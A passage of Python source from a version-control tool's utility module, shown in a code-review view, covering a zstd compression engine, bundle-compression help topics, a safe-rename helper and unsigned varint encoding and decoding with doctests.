3671 3671 # to hold the result.
3672 3672 self._cctx = zstd.ZstdCompressor(level=level)
3673 3673 self._dctx = zstd.ZstdDecompressor()
3674 3674 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3675 3675 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3676 3676
3677 3677 def compress(self, data):
3678 3678 insize = len(data)
3679 3679 # Caller handles empty input case.
3680 3680 assert insize > 0
3681 3681
3682 3682 if insize < 50:
3683 3683 return None
3684 3684
3685 3685 elif insize <= 1000000:
3686 3686 compressed = self._cctx.compress(data)
3687 3687 if len(compressed) < insize:
3688 3688 return compressed
3689 3689 return None
3690 3690 else:
3691 3691 z = self._cctx.compressobj()
3692 3692 chunks = []
3693 3693 pos = 0
3694 3694 while pos < insize:
3695 3695 pos2 = pos + self._compinsize
3696 3696 chunk = z.compress(data[pos:pos2])
3697 3697 if chunk:
3698 3698 chunks.append(chunk)
3699 3699 pos = pos2
3700 3700 chunks.append(z.flush())
3701 3701
3702 3702 if sum(map(len, chunks)) < insize:
3703 3703 return ''.join(chunks)
3704 3704 return None
3705 3705
3706 3706 def decompress(self, data):
3707 3707 insize = len(data)
3708 3708
3709 3709 try:
3710 3710 # This was measured to be faster than other streaming
3711 3711 # decompressors.
3712 3712 dobj = self._dctx.decompressobj()
3713 3713 chunks = []
3714 3714 pos = 0
3715 3715 while pos < insize:
3716 3716 pos2 = pos + self._decompinsize
3717 3717 chunk = dobj.decompress(data[pos:pos2])
3718 3718 if chunk:
3719 3719 chunks.append(chunk)
3720 3720 pos = pos2
3721 3721 # Frame should be exhausted, so no finish() API.
3722 3722
3723 3723 return ''.join(chunks)
3724 3724 except Exception as e:
3725 3725 raise error.RevlogError(_('revlog decompress error: %s') %
3726 3726 stringutil.forcebytestr(e))
3727 3727
3728 3728 def revlogcompressor(self, opts=None):
3729 3729 opts = opts or {}
3730 3730 return self.zstdrevlogcompressor(self._module,
3731 3731 level=opts.get('level', 3))
3732 3732
3733 3733 compengines.register(_zstdengine())
3734 3734
3735 3735 def bundlecompressiontopics():
3736 3736 """Obtains a list of available bundle compressions for use in help."""
3737 3737 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3738 3738 items = {}
3739 3739
3740 3740 # We need to format the docstring. So use a dummy object/type to hold it
3741 3741 # rather than mutating the original.
3742 3742 class docobject(object):
3743 3743 pass
3744 3744
3745 3745 for name in compengines:
3746 3746 engine = compengines[name]
3747 3747
3748 3748 if not engine.available():
3749 3749 continue
3750 3750
3751 3751 bt = engine.bundletype()
3752 3752 if not bt or not bt[0]:
3753 3753 continue
3754 3754
3755 3755 doc = pycompat.sysstr('``%s``\n %s') % (
3756 3756 bt[0], engine.bundletype.__doc__)
3757 3757
3758 3758 value = docobject()
3759 3759 value.__doc__ = doc
3760 3760 value._origdoc = engine.bundletype.__doc__
3761 3761 value._origfunc = engine.bundletype
3762 3762
3763 3763 items[bt[0]] = value
3764 3764
3765 3765 return items
3766 3766
3767 3767 i18nfunctions = bundlecompressiontopics().values()
3768 3768
3769 3769 # convenient shortcut
3770 3770 dst = debugstacktrace
3771 3771
3772 3772 def safename(f, tag, ctx, others=None):
3773 3773 """
3774 3774 Generate a name that it is safe to rename f to in the given context.
3775 3775
3776 3776 f: filename to rename
3777 3777 tag: a string tag that will be included in the new name
3778 3778 ctx: a context, in which the new name must not exist
3779 3779 others: a set of other filenames that the new name must not be in
3780 3780
3781 3781 Returns a file name of the form oldname~tag[~number] which does not exist
3782 3782 in the provided context and is not in the set of other names.
3783 3783 """
3784 3784 if others is None:
3785 3785 others = set()
3786 3786
3787 3787 fn = '%s~%s' % (f, tag)
3788 3788 if fn not in ctx and fn not in others:
3789 3789 return fn
3790 3790 for n in itertools.count(1):
3791 3791 fn = '%s~%s~%s' % (f, tag, n)
3792 3792 if fn not in ctx and fn not in others:
3793 3793 return fn
3794 3794
3795 3795 def readexactly(stream, n):
3796 3796 '''read n bytes from stream.read and abort if less was available'''
3797 3797 s = stream.read(n)
3798 3798 if len(s) < n:
3799 3799 raise error.Abort(_("stream ended unexpectedly"
3800 3800 " (got %d bytes, expected %d)")
3801 3801 % (len(s), n))
3802 3802 return s
3803 3803
3804 3804 def uvarintencode(value):
3805 3805 """Encode an unsigned integer value to a varint.
3806 3806
3807 3807 A varint is a variable length integer of 1 or more bytes. Each byte
3808 3808 except the last has the most significant bit set. The lower 7 bits of
3809 3809 each byte store the 2's complement representation, least significant group
3810 3810 first.
3811 3811
3812 3812 >>> uvarintencode(0)
3813 3813 '\\x00'
3814 3814 >>> uvarintencode(1)
3815 3815 '\\x01'
3816 3816 >>> uvarintencode(127)
3817 3817 '\\x7f'
3818 3818 >>> uvarintencode(1337)
3819 3819 '\\xb9\\n'
3820 3820 >>> uvarintencode(65536)
3821 3821 '\\x80\\x80\\x04'
3822 3822 >>> uvarintencode(-1)
3823 3823 Traceback (most recent call last):
3824 3824 ...
3825 3825 ProgrammingError: negative value for uvarint: -1
3826 3826 """
3827 3827 if value < 0:
3828 3828 raise error.ProgrammingError('negative value for uvarint: %d'
3829 3829 % value)
3830 3830 bits = value & 0x7f
3831 3831 value >>= 7
3832 3832 bytes = []
3833 3833 while value:
3834 3834 bytes.append(pycompat.bytechr(0x80 | bits))
3835 3835 bits = value & 0x7f
3836 3836 value >>= 7
3837 3837 bytes.append(pycompat.bytechr(bits))
3838 3838
3839 3839 return ''.join(bytes)
3840 3840
3841 3841 def uvarintdecodestream(fh):
3842 3842 """Decode an unsigned variable length integer from a stream.
3843 3843
3844 3844 The passed argument is anything that has a ``.read(N)`` method.
3845 3845
3846 3846 >>> try:
3847 3847 ... from StringIO import StringIO as BytesIO
3848 3848 ... except ImportError:
3849 3849 ... from io import BytesIO
3850 3850 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3851 3851 0
3852 3852 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3853 3853 1
3854 3854 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3855 3855 127
3856 3856 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3857 3857 1337
3858 3858 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3859 3859 65536
3860 3860 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3861 3861 Traceback (most recent call last):
3862 3862 ...
3863 3863 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3864 3864 """
3865 3865 result = 0
3866 3866 shift = 0
3867 3867 while True:
3868 3868 byte = ord(readexactly(fh, 1))
3869 3869 result |= ((byte & 0x7f) << shift)
3870 3870 if not (byte & 0x80):
3871 3871 return result
3872 3872 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now